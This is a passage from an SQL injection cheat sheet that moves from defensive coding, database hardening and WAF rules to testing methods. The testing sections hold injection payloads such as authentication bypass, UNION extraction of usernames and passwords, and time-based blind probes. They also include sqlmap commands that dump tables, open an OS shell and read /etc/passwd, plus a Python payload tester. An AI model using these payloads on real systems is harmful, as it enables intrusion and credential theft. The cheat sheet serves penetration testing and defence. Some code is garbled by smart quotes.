2. Stored Procedures (When Implemented Correctly)
SELECT * FROM users WHERE id = ‘” + userId + “‘
SELECT * FROM users WHERE id = ?
statement.setInt(1, userId)
CREATE PROCEDURE GetUserById(@UserId INT)
AS
BEGIN
SELECT id, username, email FROM users WHERE id = @UserId
END
3. Allow-List Input Validation
$allowedSortColumns = [‘id’, ‘username’, ’email’, ‘created_at’];
if (!in_array($sortColumn, $allowedSortColumns)) {
throw new InvalidArgumentException(“Invalid sort column”);
}
4. Escaping All User-Supplied Input
$escaped = mysqli_real_escape_string($connection, $userInput);
Additional Defense Measures
1. Least Privilege Database Access
CREATE USER ‘webapp_user’@’localhost’ IDENTIFIED BY ‘secure_password’;
GRANT SELECT, INSERT, UPDATE ON webapp.users TO ‘webapp_user’@’localhost’;
GRANT SELECT ON webapp.products TO ‘webapp_user’@’localhost’;
REVOKE FILE ON *.* FROM ‘webapp_user’@’localhost’;
REVOKE PROCESS ON *.* FROM ‘webapp_user’@’localhost’;
2. Allow-List Input Validation
class InputValidator {
private static $patterns = [
‘user_id’ => ‘/^[1-9]\d{0,9}$/’,
‘username’ => ‘/^[a-zA-Z0-9_-]{3,20}$/’,
‘alphanumeric’ => ‘/^[a-zA-Z0-9\s]+$/’,
‘safe_string’ => ‘/^[a-zA-Z0-9\s\-_.,!?]+$/’
];
private static $sql_keywords = [
‘SELECT’, ‘INSERT’, ‘UPDATE’, ‘DELETE’, ‘UNION’, ‘DROP’,
‘CREATE’, ‘ALTER’, ‘EXEC’, ‘EXECUTE’, ‘SCRIPT’
];
public static function validateInput($input, $type, $maxLength = null) {
if (empty($input) || $input === null) {
throw new InvalidArgumentException(“Input cannot be empty”);
}
if ($maxLength && strlen($input) > $maxLength) {
throw new InvalidArgumentException(“Input too long”);
}
if (isset(self::$patterns[$type])) {
if (!preg_match(self::$patterns[$type], $input)) {
throw new InvalidArgumentException(“Invalid input format”);
}
}
$upperInput = strtoupper($input);
foreach (self::$sql_keywords as $keyword) {
if (strpos($upperInput, $keyword) !== false) {
throw new SecurityException(“Potentially malicious input detected”);
}
}
return $input;
}
public static function sanitizeString($input) {
$dangerous_chars = [‘\”, ‘”‘, ‘`’, ‘;’, ‘–‘, ‘/*’, ‘*/’, ‘\\’];
$input = str_replace($dangerous_chars, ”, $input);
$input = htmlspecialchars($input, ENT_QUOTES, ‘UTF-8’);
return trim($input);
}
public static function validateId($id) {
$id = filter_var($id, FILTER_VALIDATE_INT);
if ($id === false || $id <= 0) {
throw new InvalidArgumentException(“Invalid ID format”);
}
return $id;
}
public static function validateEmail($email) {
$email = filter_var($email, FILTER_VALIDATE_EMAIL);
if ($email === false) {
throw new InvalidArgumentException(“Invalid email format”);
}
return $email;
}
}
JavaScript Input Validation
class ClientSideValidator {
static patterns = {
id: /^[1-9]\d*$/,
username: /^[a-zA-Z0-9_-]{3,20}$/,
email: /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/,
alphanumeric: /^[a-zA-Z0-9\s]+$/,
safeString: /^[a-zA-Z0-9\s\-_.,!?]+$/
};
static sqlKeywords = [
‘SELECT’, ‘INSERT’, ‘UPDATE’, ‘DELETE’, ‘DROP’, ‘CREATE’, ‘ALTER’,
‘UNION’, ‘OR’, ‘AND’, ‘WHERE’, ‘FROM’, ‘INTO’, ‘VALUES’, ‘SET’,
‘EXEC’, ‘EXECUTE’, ‘SCRIPT’, ‘DECLARE’, ‘CAST’, ‘CONVERT’
];
static validateInput(input, type, maxLength = null) {
if (!input || input.trim() === ”) {
throw new Error(‘Input cannot be null or empty’);
}
if (maxLength && input.length > maxLength) {
throw new Error(‘Input exceeds maximum length’);
}
if (this.patterns[type] && !this.patterns[type].test(input)) {
throw new Error(‘Invalid input format’);
}
const upperInput = input.toUpperCase();
for (const keyword of this.sqlKeywords) {
if (upperInput.includes(keyword)) {
throw new Error(‘Potentially malicious input detected’);
}
}
return input;
}
static sanitizeString(input) {
const dangerousChars = [‘\”, ‘”‘, ‘`’, ‘;’, ‘–‘, ‘/*’, ‘*/’, ‘\\’];
dangerousChars.forEach(char => {
input = input.replace(new RegExp(char.replace(/[.*+?^${}()|[\]\\]/g, ‘\\$&’), ‘g’), ”);
});
const div = document.createElement(‘div’);
div.textContent = input;
return div.innerHTML.trim();
}
}
3. Stored Procedures Implementation
Stored procedures provide an additional layer of security by encapsulating SQL logic within the database.
MySQL Stored Procedures
DELIMITER //
CREATE PROCEDURE AuthenticateUser(
IN p_username VARCHAR(255),
IN p_password VARCHAR(255),
OUT p_user_id INT,
OUT p_role VARCHAR(50),
OUT p_status VARCHAR(20)
)
BEGIN
DECLARE v_password_hash VARCHAR(255);
DECLARE v_active BOOLEAN DEFAULT FALSE;
SET p_user_id = 0;
SET p_role = ”;
SET p_status = ‘FAILED’;
SELECT id, password_hash, role, active
INTO p_user_id, v_password_hash, p_role, v_active
FROM users
WHERE username = p_username
LIMIT 1;
IF p_user_id > 0 AND v_active = TRUE THEN
IF v_password_hash = SHA2(CONCAT(p_password, ‘salt’), 256) THEN
SET p_status = ‘SUCCESS’;
UPDATE users
SET last_login = NOW(),
login_count = login_count + 1
WHERE id = p_user_id;
ELSE
SET p_status = ‘INVALID_PASSWORD’;
END IF;
ELSE
SET p_status = ‘USER_NOT_FOUND’;
END IF;
END //
DELIMITER ;
DELIMITER //
CREATE PROCEDURE SearchProducts(
IN p_keyword VARCHAR(255),
IN p_category VARCHAR(100),
IN p_limit INT,
IN p_offset INT
)
BEGIN
IF p_limit <= 0 OR p_limit > 100 THEN
SET p_limit = 10;
END IF;
IF p_offset < 0 THEN
SET p_offset = 0;
END IF;
SELECT
id,
name,
description,
price,
category,
created_at
FROM products
WHERE
(p_keyword IS NULL OR name LIKE CONCAT(‘%’, p_keyword, ‘%’))
AND (p_category IS NULL OR category = p_category)
AND active = TRUE
ORDER BY name
LIMIT p_limit OFFSET p_offset;
END //
DELIMITER ;
SQL Server Stored Procedures
CREATE PROCEDURE AuthenticateUser
@Username NVARCHAR(255),
@Password NVARCHAR(255),
@UserId INT OUTPUT,
@Role NVARCHAR(50) OUTPUT,
@Status NVARCHAR(20) OUTPUT
AS
BEGIN
SET NOCOUNT ON;
DECLARE @PasswordHash NVARCHAR(255);
DECLARE @Active BIT;
SET @UserId = 0;
SET @Role = ”;
SET @Status = ‘FAILED’;
SELECT
@UserId = id,
@PasswordHash = password_hash,
@Role = role,
@Active = active
FROM users
WHERE username = @Username;
IF @UserId > 0 AND @Active = 1
BEGIN
IF @PasswordHash = HASHBYTES(‘SHA2_256’, @Password + ‘salt’)
BEGIN
SET @Status = ‘SUCCESS’;
UPDATE users
SET
last_login = GETDATE(),
login_count = login_count + 1
WHERE id = @UserId;
END
ELSE
BEGIN
SET @Status = ‘INVALID_PASSWORD’;
END
END
ELSE
BEGIN
SET @Status = ‘USER_NOT_FOUND’;
END
END;
CREATE PROCEDURE SearchProducts
@Keyword NVARCHAR(255),
@Category NVARCHAR(100),
@Limit INT,
@Offset INT
AS
BEGIN
SET NOCOUNT ON;
IF @Limit <= 0 OR @Limit > 100
SET @Limit = 10;
IF @Offset < 0
SET @Offset = 0;
SELECT
id,
name,
description,
price,
category,
created_at
FROM products
WHERE
(@Keyword IS NULL OR name LIKE ‘%’ + @Keyword + ‘%’)
AND (@Category IS NULL OR category = @Category)
AND active = 1
ORDER BY name
OFFSET @Offset ROWS
FETCH NEXT @Limit ROWS ONLY;
END;
4. Database Security Configuration
Implementing proper database security configurations significantly reduces SQL injection risks.
MySQL Security Configuration
CREATE USER ‘app_user’@’localhost’ IDENTIFIED BY ‘complex_secure_password_2024!’;
GRANT SELECT, INSERT, UPDATE ON application_db.users TO ‘app_user’@’localhost’;
GRANT SELECT, INSERT, UPDATE ON application_db.products TO ‘app_user’@’localhost’;
GRANT SELECT ON application_db.categories TO ‘app_user’@’localhost’;
REVOKE FILE ON *.* FROM ‘app_user’@’localhost’;
REVOKE PROCESS ON *.* FROM ‘app_user’@’localhost’;
REVOKE SUPER ON *.* FROM ‘app_user’@’localhost’;
REVOKE SHUTDOWN ON *.* FROM ‘app_user’@’localhost’;
SET GLOBAL log_bin_trust_function_creators = 0;
SET GLOBAL local_infile = 0;
SET GLOBAL general_log = ‘ON’;
SET GLOBAL general_log_file = ‘/var/log/mysql/general.log’;
PostgreSQL Security Configuration
CREATE USER app_user WITH PASSWORD ‘complex_secure_password_2024!’;
GRANT CONNECT ON DATABASE application_db TO app_user;
GRANT USAGE ON SCHEMA public TO app_user;
GRANT SELECT, INSERT, UPDATE ON users TO app_user;
GRANT SELECT, INSERT, UPDATE ON products TO app_user;
GRANT SELECT ON categories TO app_user;
REVOKE ALL ON pg_database FROM app_user;
REVOKE ALL ON pg_user FROM app_user;
REVOKE ALL ON pg_shadow FROM app_user;
CREATE POLICY user_policy ON users FOR ALL TO app_user USING (active = true);
ALTER TABLE users ENABLE ROW LEVEL SECURITY;
ALTER SYSTEM SET log_statement = ‘all’;
ALTER SYSTEM SET log_min_duration_statement = 1000;
SELECT pg_reload_conf();
5. Web Application Firewall (WAF) Implementation
WAF solutions provide real-time protection against SQL injection attacks through pattern recognition and behavioral analysis.
ModSecurity Rule Configuration
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* “@detectSQLi” \
“id:981242,\
phase:2,\
block,\
capture,\
msg:‘SQL Injection Attack Detected via libinjection’,\
severity:‘CRITICAL’,\
tag:‘attack-sqli'”
SecRule ARGS “@contains union” \
“id:981243,\
phase:2,\
block,\
msg:‘UNION-based SQL Injection Attack’,\
severity:‘CRITICAL'”
SecRule ARGS “@contains –“ \
“id:981244,\
phase:2,\
block,\
msg:‘SQL Comment Injection Attack’,\
severity:‘HIGH'”
SecRule ARGS “@contains select” \
“id:981245,\
phase:2,\
block,\
msg:‘SQL SELECT Statement Injection’,\
severity:‘CRITICAL'”
AWS WAF Configuration
{
“Name”: “SQLInjectionProtection”,
“Rules”: [
{
“Name”: “SQLInjectionRule”,
“Priority”: 1,
“Statement”: {
“OrStatement”: {
“Statements”: [
{
“SqliMatchStatement”: {
“FieldToMatch”: {
“AllQueryArguments”: {}
},
“TextTransformations”: [
{
“Priority”: 1,
“Type”: “URL_DECODE”
},
{
“Priority”: 2,
“Type”: “HTML_ENTITY_DECODE”
}
]
}
},
{
“SqliMatchStatement”: {
“FieldToMatch”: {
“Body”: {}
},
“TextTransformations”: [
{
“Priority”: 1,
“Type”: “URL_DECODE”
},
{
“Priority”: 2,
“Type”: “HTML_ENTITY_DECODE”
}
]
}
}
]
}
},
“Action”: {
“Block”: {}
},
“VisibilityConfig”: {
“SampledRequestsEnabled”: true,
“CloudWatchMetricsEnabled”: true,
“MetricName”: “SQLInjectionRule”
}
}
]
}
SQL Injection Testing Methods
1. Manual Testing Methodology
Manual testing provides comprehensive coverage and allows for contextual analysis of vulnerabilities.
Systematic Testing Approach
Phase 1: Information Gathering
├── Application mapping
├── Technology stack identification
├── Database technology fingerprinting
├── Entry point enumeration
└── Parameter analysis
Phase 2: Vulnerability Discovery
├── Single quote injection testing
├── Boolean logic manipulation
├── Time-based blind testing
├── Error message analysis
└── Union-based testing
Phase 3: Exploitation
├── Authentication bypass
├── Data extraction
├── Privilege escalation
├── File system access
└── Command execution
Phase 4: Impact Assessment
├── Data sensitivity analysis
├── Business impact evaluation
├── Compliance implications
└── Risk scoring
Manual Testing Checklist
‘
”
\’
“
“”
\”
`
“
\`
‘ OR ‘1’=’1
‘ OR 1=1
‘ OR ‘a’=’a
‘ OR TRUE
admin‘
admin‘
) OR ‘1’=’1
‘ AND SLEEP(5)
‘; SELECT SLEEP(5)
‘ AND (SELECT * FROM (SELECT(SLEEP(5)))a)
‘ AND pg_sleep(5)
‘; SELECT pg_sleep(5)
‘; WAITFOR DELAY ’00:00:05′
‘ AND (SELECT * FROM (SELECT(WAITFOR DELAY ’00:00:05′))a)
‘ UNION SELECT NULL
‘ UNION SELECT NULL,NULL
‘ UNION SELECT NULL,NULL,NULL
‘ UNION SELECT 1,2,3
‘ UNION SELECT username,password FROM users
‘ AND (SELECT * FROM nonexistent_table)
‘ AND (SELECT COUNT(*) FROM information_schema.tables)
‘ AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))
2. Automated Testing Tools
SQLMap – Advanced Usage
sqlmap -u “http://example.com/product.php?id=1” –batch –level=3 –risk=3
sqlmap -u “http://example.com/product.php?id=1” –dbs –batch
sqlmap -u “http://example.com/product.php?id=1” -D database_name –tables –batch
sqlmap -u “http://example.com/product.php?id=1” -D database_name -T users –columns –batch
sqlmap -u “http://example.com/product.php?id=1” -D database_name -T users –dump –batch
sqlmap -u “http://example.com/login.php” –data=“username=admin&password=pass” –batch
sqlmap -u “http://example.com/profile.php” –cookie=“PHPSESSID=abc123; user_id=1” –batch
sqlmap -u “http://example.com/api/user” –headers=“X-API-Key: test123” –batch
sqlmap -u “http://example.com/product.php?id=1” –tamper=space2comment,charencode –batch
sqlmap -u “http://example.com/product.php?id=1” –os-shell –batch
sqlmap -u “http://example.com/product.php?id=1” –file-read=“/etc/passwd” –batch
Burp Suite Professional Testing
1. Proxy Configuration
├── Configure browser proxy settings
├── Install Burp certificate
└── Enable intercept mode
2. Application Spidering
├── Automated crawling
├── Manual browsing
└── Scope definition
3. Active Scanning
├── SQL injection module
├── Payload customization
├── Insertion point selection
└── Response analysis
4. Manual Testing
├── Repeater for payload testing
├── Intruder for automated attacks
├── Decoder for payload encoding
└── Comparer for response analysis
5. Reporting
├── Vulnerability classification
├── Evidence compilation
├── Remediation recommendations
└── Risk assessment
Custom Testing Scripts
import requests
import time
import random
from urllib.parse import quote
class SQLInjectionTester:
def __init__(self, target_url, parameter):
self.target_url = target_url
self.parameter = parameter
self.session = requests.Session()
self.session.headers.update({
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36’
})
def test_error_based(self):
payloads = [
“‘”,
“\””,
“‘)”,
“\”)\”,
“‘ AND 1=1 –“,
“‘ OR 1=1 –“,
“‘ UNION SELECT NULL –“,
“‘ AND (SELECT * FROM nonexistent_table) –“
]
vulnerabilities = []
for payload in payloads:
params = {self.parameter: payload}
try:
response = self.session.get(self.target_url, params=params, timeout=10)
error_patterns = [
“mysql_fetch_array”,
“ORA-“,
“Microsoft OLE DB Provider”,
“PostgreSQL query failed”,
“SQLite error”,
“syntax error”,
“mysql_num_rows”,
“Warning: pg_”
]
for pattern in error_patterns:
if pattern.lower() in response.text.lower():
vulnerabilities.append({
‘type’: ‘Error-based’,
‘payload’: payload,
‘pattern’: pattern,
‘response_length’: len(response.text)
})
break
except requests.RequestException as e:
print(f”Request failed for payload {payload}: {e}”)
return vulnerabilities
def generate_report(self):
print(f”Testing SQL Injection on: {self.target_url}”)
print(f”Parameter: {self.parameter}”)
print(“-” * 50)
if __name__ == “__main__”:
tester = SQLInjectionTester(“http://example.com/product.php”, “id”)
tester.generate_report()
PHP SQL Injection
Common PHP Vulnerabilities
1. Legacy MySQL Extension Vulnerabilities
$username = $_POST[‘username’];
$password = $_POST[‘password’];
$query = “SELECT * FROM users WHERE username = ‘$username‘ AND password = ‘$password‘“;
$result = mysql_query($query);
admin’ OR ‘1’=’1′ —
anything
Authentication bypass
2. Insufficient MySQLi Usage
$username = mysqli_real_escape_string($connection, $_POST[‘username’]);
$password = mysqli_real_escape_string($connection, $_POST[‘password’]);
$query = “SELECT * FROM users WHERE username = ‘$username‘ AND password = ‘$password‘“;
$result = mysqli_query($connection, $query);
$id = mysqli_real_escape_string($connection, $_GET[‘id’]);
$query = “SELECT * FROM users WHERE id = $id“; // No quotes around $id
id=1 OR 1=1
Conclusion
SQL Injection remains a critical threat in modern web security, especially when applications fail to properly handle user input. This cheat sheet is meant to serve as a quick and practical reference for ethical use only — whether you’re performing penetration testing, learning offensive techniques, or hunting bugs. Use it responsibly, and always test within legal and authorized environments.
Leave a Comment